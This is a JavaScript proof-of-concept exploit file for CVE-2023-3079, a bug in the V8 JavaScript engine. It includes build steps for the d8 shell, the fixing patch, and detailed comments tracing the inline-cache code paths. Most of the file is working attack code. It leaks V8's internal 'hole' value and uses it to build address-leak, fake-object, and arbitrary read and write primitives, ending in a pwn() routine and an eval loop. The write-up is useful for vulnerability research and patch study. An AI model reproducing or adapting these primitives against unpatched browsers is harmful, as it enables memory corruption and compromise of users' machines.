exploit.js

//CVE-2023-3079
//author: @mistymntncop
//based on the ITW exploit
//
//Shoutout to @_clem1 for finding the ITW exploit! 
//
// Build d8 using:
// a) Run once
//    git checkout f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c
//    gclient sync --with_branch_heads  //pass -f flag to force
//    gn gen ./out/x64.debug
//    gn gen ./out/x64.release
//
// b) 
//    Debug Build:
//    If you run into this error: "FAILED: torque.exe torque.exe.pdb"
//    please apply the patch "fix_torque_build_error.patch" with:
//    git apply "C:\path\to\patch\fix_torque_build_error.patch"
//  
//    This patch has nothing to do with the vuln - it only fixes the torque build error.
//    See: https://bugs.chromium.org/p/v8/issues/detail?id=14015
//
//    ninja -C ./out/x64.debug d8
//
//    Release Build:
//    ninja -C ./out/x64.release d8
//
//"C:\v8\v8\out\x64.release\d8.exe" --allow-natives-syntax exploit.js
//
//Relevant source files:
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/ic/ic.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/ic/accessor-assembler.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/ic/handler-configuration-inl.h
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/codegen/code-stub-assembler.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/codegen/code-stub-assembler.h
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/builtins/builtins-handler-gen.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/builtins/builtins-ic-gen.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/interpreter/interpreter-generator.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/interpreter/bytecode-generator.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/interpreter/bytecode-array-builder.cc
//
//
//
//Patch:
//https://chromium.googlesource.com/v8/v8.git/+/e144f3b71e64e01d6ffd247eb15ca1ff56f6287b
//https://chromium.googlesource.com/v8/v8.git/+/e144f3b71e64e01d6ffd247eb15ca1ff56f6287b%5E%21/#F2
//--- a/src/ic/ic.cc
//+++ b/src/ic/ic.cc
//               receiver_map->has_sealed_elements() ||
//               receiver_map->has_nonextensible_elements() ||
//               receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
// +    // TODO(jgruber): Update counter name.
//      TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);
// -    code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
// -    if (receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
// -      return code;
// +    if (receiver_map->IsJSArgumentsObjectMap() &&
// +        receiver_map->has_fast_packed_elements()) {
// +      // Allow fast behaviour for in-bounds stores while making it miss and
// +      // properly handle the out of bounds store case.
// +      code = StoreHandler::StoreFastElementBuiltin(isolate(), STANDARD_STORE);
// +    } else {
// +      code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
// +      if (receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
// +        return code;
// +      }



const FIXED_ARRAY_HEADER_SIZE = 8n;

var arr_buf = new ArrayBuffer(8);
var f64_arr = new Float64Array(arr_buf);
var b64_arr = new BigInt64Array(arr_buf);

function ftoi(f) {
    f64_arr[0] = f;
    return b64_arr[0];
}

function itof(i) {
    b64_arr[0] = i;
    return f64_arr[0];
}

function smi(i) {
    return i << 1n;
}


function gc_minor() { //scavenge
    for(let i = 0; i < 1000; i++) {
        new ArrayBuffer(0x10000);
    }
}

function gc_major() { //mark-sweep
    new ArrayBuffer(0x7fe00000);
}

//d8 --allow-natives-syntax --print-bytecode --print-bytecode-filter="set_keyed_prop" exploit.js
//   Ldar a2
//   SetKeyedProperty a0, a1, [0]
//   LdaUndefined
//   Return
//
//Bytecode Generator (SetKeyedProperty):
//  BytecodeGenerator::BuildAssignment -> 
//  BytecodeArrayBuilder::SetKeyedProperty

//Generated Interpreter:
//  IGNITION_HANDLER(SetKeyedProperty, InterpreterAssembler) ->
//  CallBuiltin(Builtin::kKeyedStoreIC, ...)
//Generated Builtin:
//  Builtins::Generate_KeyedStoreIC ->
//  AccessorAssembler::GenerateKeyedStoreIC ->
//  AccessorAssembler::KeyedStoreIC
//
function set_keyed_prop(arr, key, val) {
    arr[key] = val;
}

function leak_hole() {
    //let store_mode = {}; //STORE_STANDARD
    let store_mode = []; //STORE_AND_GROW_HANDLE_COW
        
    //Adds MONOMORPHIC feedback to the StoreKeyedSloppy slot
    //for the arguments object
    //
    //Generated Builtin:
    //  AccessorAssembler::KeyedStoreIC -> 
    //IC Runtime:
    //  Runtime_KeyedStoreIC_Miss -> 
    //  KeyedStoreIC::Store -> 
    //  StoreIC::Store -> 
    //  StoreIC::UpdateCaches -> 
    //  IC::SetCache
    const IC_WARMUP_COUNT = 10;
    for(let i = 0; i < IC_WARMUP_COUNT; i++) {
        set_keyed_prop(arguments, "foo", 1);
    }
    //%DebugPrint(set_keyed_prop); //uncomment to see the StoreKeyedSloppy slot

    //Adds POLYMORPHIC feedback to the StoreKeyedSloppy slot.
    //The store_mode controls which handler will be used 
    //the next time an object with the same map is encountered
    //for the SetKeyedProperty operation.
    //In this case the store_mode is computed to be STORE_AND_GROW_HANDLE_COW.
    //StoreElementPolymorphicHandlers will compute a new STORE_AND_GROW_HANDLE_COW 
    //handler for each feedback type in the StoreKeyedSloppy slot.
    //This includes the arguments type we added previously.
    //
    //
    //Generated Builtin:
    //  AccessorAssembler::KeyedStoreIC -> 
    //IC Runtime:
    //  Runtime_KeyedStoreIC_Miss -> 
    //  KeyedStoreIC::Store -> 
    //    store_mode = GetStoreMode
    //  KeyedStoreIC::UpdateStoreElement -> 
    //  KeyedStoreIC::StoreElementPolymorphicHandlers -> 
    //  KeyedStoreIC::StoreElementHandler ->
    //  StoreHandler::StoreFastElementBuiltin
    //     return BUILTIN_CODE(isolate, StoreFastElementIC_GrowNoTransitionHandleCOW)
    //  ...
    set_keyed_prop(store_mode, 0, 1);
    //%DebugPrint(set_keyed_prop); //uncomment to see the StoreKeyedSloppy slot
    
    //Append an element to the end of the arguments "array" 
    //which causes the the COW behaviour to grow the "array"
    //(adds extra capacity for new elements).
    //The unused elements after the length of the "array" will
    //contain "the hole" value. Despite the fact the "array" contains
    //"the hole" values the "array's" ElementsKind remains as PACKED_ELEMENTS
    //rather than HOLEY_ELEMENTS. For JSArray's this is not a bug and is 
    //expected behaviour (as the name GrowNoTransitionHandleCOW suggests) 
    //as it is assumed that values beyond the length of the "array" 
    //cannot be accessed. Please note that the length and capacity of
    //an array are not the same thing.
    //
    //Generated Builtin:
    //  AccessorAssembler::KeyedStoreIC -> 
    //  AccessorAssembler::HandlePolymorphicCase -> 
    //  AccessorAssembler::HandleStoreICHandlerCase ->
    //Generated STORE_AND_GROW_HANDLE_COW handler:
    //  StoreFastElementIC_GrowNoTransitionHandleCOW ->
    //  HandlerBuiltinsAssembler::Generate_StoreFastElementIC -> 
    //  HandlerBuiltinsAssembler::DispatchByElementsKind -> 
    //  CodeStubAssembler::EmitElementStore -> 
    //  CodeStubAssembler::CheckForCapacityGrow ->
    //  CodeStubAssembler::CheckForCapacityGrow ->
    //  CodeStubAssembler::TryGrowElementsCapacity ->
    //  CodeStubAssembler::GrowElementsCapacity
    set_keyed_prop(arguments, arguments.length, 1);
    //%DebugPrint(arguments); //uncomment to see PACKED_ELEMENTS and new hole values
    
    //Generated Interpreter:
    //  IGNITION_HANDLER(GetKeyedProperty, InterpreterAssembler) -> 
    //  CallBuiltin(Builtin::kKeyedLoadIC, ...)
    //Generated Builtin:
    //  Builtins::Generate_KeyedLoadIC -> 
    //  AccessorAssembler::GenerateKeyedLoadIC -> 
    //  AccessorAssembler:KeyedLoadIC ->
    //  TailCallBuiltin(Builtin::kKeyedLoadIC_Megamorphic, ...)
    //Generated Builtin:
    //  Builtins::Generate_KeyedLoadIC_Megamorphic ->
    //  AccessorAssembler::GenerateKeyedLoadIC_Megamorphic -> 
    //  AccessorAssembler::KeyedLoadICGeneric -> 
    //  AccessorAssembler::GenericElementLoad -> 
    //  AccessorAssembler::EmitElementLoad ->
    //     AccessorAssembler::EmitFastElementsBoundsCheck ->
    //     CodeStubAssembler::LoadFixedArrayBaseLength
    //  UnsafeLoadFixedArrayElement
    //
    //To leak "the hole" we must survive 2 checks in EmitElementLoad.
    //Namely these are 1) a check for "the hole" and 2) a bounds check. 
    //
    //The GenericElementLoad function implements the "if_element_hole" codepath  
    //which converts the hole into an undefined value.
    //The EmitElementLoad function only jumps to the "if_element_hole" codepath 
    //in the case where a HOLEY_* ElementsKind is encountered.
    //In the case of an object with a PACKED_ELEMENTS 
    //ElementsKind the "if_fast_packed" codepath is taken and the 
    //"if_element_hole" codepath is avoided completely.
    //
    //
    //The EmitFastElementsBoundsCheck function performs a bounds check on the
    //given array object for the element load. It computes the length of the 
    //array using either LoadFastJSArrayLength or LoadFixedArrayBaseLength. 
    //Normally LoadFastJSArrayLength is used in the case of JSArray's. 
    //However, the arguments object is special and uses LoadFixedArrayBaseLength.
    //(Remember that the arguments object is only an "array-like" object).
    //This is important in that the length of the FixedArray is actually its full capacity.
    //Compare this to a JSArray where it's length is a seperate value from it's capacity
    //(length <= capacity).
    //As the wrong value is used for the bounds check we can read values from the
    //unused capacity of the "array" - in this case accessing "the hole" value.

    let hole = arguments[arguments.length+1];

    return hole;
}
const the = {};
var large_arr = new Array(0x10000);
large_arr.fill(itof(0xDEADBEE0n)); //change array type to HOLEY_DOUBLE_ELEMENTS_MAP
var fake_arr = null;
var fake_arr_addr = null;
var fake_arr_elements_addr = null;

var packed_dbl_map = null;
var packed_dbl_props = null;

var packed_map = null;
var packed_props = null;

function leak_stuff(b) {
    if(b) {
        let index = Number(b ? the.hole : -1);
        index |= 0;
        index += 1;
       
        let arr1 = [1.1, 2.2, 3.3, 4.4];
        let arr2 = [0x1337, large_arr];
        
        let packed_double_map_and_props = arr1.at(index*4);
        let packed_double_elements_and_len = arr1.at(index*5);
        
        let packed_map_and_props = arr1.at(index*8);
        let packed_elements_and_len = arr1.at(index*9);
        
        let fixed_arr_map = arr1.at(index*6);
        
        let large_arr_addr = arr1.at(index*7);

        return [
            packed_double_map_and_props, packed_double_elements_and_len,
            packed_map_and_props, packed_elements_and_len, 
            fixed_arr_map, large_arr_addr, 
            arr1, arr2
        ];
    }
    return 0;
}

function weak_fake_obj(b, addr=1.1) {
    if(b) {
        let index = Number(b ? the.hole : -1);
        index |= 0;
        index += 1;
       
        let arr1 = [0x1337, {}];
        let arr2 = [addr, 2.2, 3.3, 4.4];
        
        let fake_obj = arr1.at(index*8);
        
        return [
            fake_obj,
            arr1, arr2
        ];
    }
    return 0;
}

function fake_obj(addr) {
    large_arr[0] = itof(packed_map | (packed_dbl_props << 32n));
    large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
    large_arr[3] = itof(addr | 1n);
    
    let result = fake_arr[0];
    
    large_arr[1] = itof(0n | (smi(0n) << 32n)); 
    
    return result;
}


function addr_of(obj) {
    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
    
    fake_arr[0] = obj;
    let result = ftoi(large_arr[3]) & 0xFFFFFFFFn;
    
    large_arr[1] = itof(0n | (smi(0n) << 32n)); 
    
    return result;
}

function v8_read64(addr) {
    addr -= FIXED_ARRAY_HEADER_SIZE;
    
    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
    
    let result = ftoi(fake_arr[0]);
    
    large_arr[1] = itof(0n | (smi(0n) << 32n)); 

    return result;    
}

function v8_write64(addr, val) {
    addr -= FIXED_ARRAY_HEADER_SIZE;
    
    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
    
    fake_arr[0] = itof(val);
    
    large_arr[1] = itof(0n | (smi(0n) << 32n));   
}

function install_primitives() {
    //%PrepareFunctionForOptimization(weak_fake_obj);
    //weak_fake_obj(false, 1.1);
    //weak_fake_obj(true, 1.1);
    //%OptimizeFunctionOnNextCall(weak_fake_obj);
    //weak_fake_obj(true, 1.1);
    //
    //%PrepareFunctionForOptimization(leak_stuff);
    //leak_stuff(false);
    //leak_stuff(true);
    //%OptimizeFunctionOnNextCall(leak_stuff);
    
    for(let i = 0; i < 10; i++) {
        weak_fake_obj(true, 1.1);
    }
    for(let i = 0; i < 10000; i++) {
        weak_fake_obj(false, 1.1);
    }

    for(let i = 0; i < 10; i++) {
        leak_stuff(true);
    }
    for(let i = 0; i < 20000; i++) {
        leak_stuff(false);
    }
    //%DebugPrint(install_primitives);
    gc_minor();
    gc_major();
    
    let leaks = leak_stuff(true);
    //%DebugPrint(leaks);
    
    let packed_double_map_and_props = ftoi(leaks[0]);
    let packed_double_elements_and_len = ftoi(leaks[1]);
    packed_dbl_map = packed_double_map_and_props & 0xFFFFFFFFn;
    packed_dbl_props = packed_double_map_and_props >> 32n;
    let packed_dbl_elements = packed_double_elements_and_len & 0xFFFFFFFFn;
    
    let packed_map_and_props = ftoi(leaks[2]);
    let packed_elements_and_len = ftoi(leaks[3]);
    packed_map = packed_map_and_props & 0xFFFFFFFFn;
    packed_props = packed_map_and_props >> 32n;
    let packed_elements = packed_elements_and_len & 0xFFFFFFFFn;
    
    let fixed_arr_map = ftoi(leaks[4]) & 0xFFFFFFFFn;
    
    let large_arr_addr = ftoi(leaks[5]) >> 32n;
    
    let dbl_arr = leaks[6];
    dbl_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    dbl_arr[1] = itof(((large_arr_addr + 8n) - FIXED_ARRAY_HEADER_SIZE) | (smi(1n) << 32n));
    
    let temp_fake_arr_addr = (packed_dbl_elements + FIXED_ARRAY_HEADER_SIZE)|1n;

    let temp_fake_arr = weak_fake_obj(true, itof(temp_fake_arr_addr));
    let large_arr_elements_addr = ftoi(temp_fake_arr[0]) & 0xFFFFFFFFn;
    fake_arr_addr = large_arr_elements_addr + FIXED_ARRAY_HEADER_SIZE;
    fake_arr_elements_addr = fake_arr_addr + 16n;
    
    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof(fake_arr_elements_addr | (smi(0n) << 32n));
    large_arr[2] = itof(fixed_arr_map | (smi(0n) << 32n));

    fake_arr = weak_fake_obj(true, itof(fake_arr_addr))[0];
    
    temp_fake_arr = null;
}

//*/
function pwn() {
    the.hole = leak_hole();
    install_primitives();

    let obj = {};
    let obj_addr = addr_of(obj);
    %DebugPrint(obj);
    let obj2 = fake_obj(obj_addr);
    %DebugPrint(obj2);
    print("obj_addr = " + obj_addr.toString(16));

    let map = v8_read64(obj_addr) & 0xFFFFFFFFn;
    print("map = " + map.toString(16));
}
pwn();
//*/

//*/
while(true) {
    let line = readline();
    if(line == 'q')
        break;
    eval(line);
}
//*/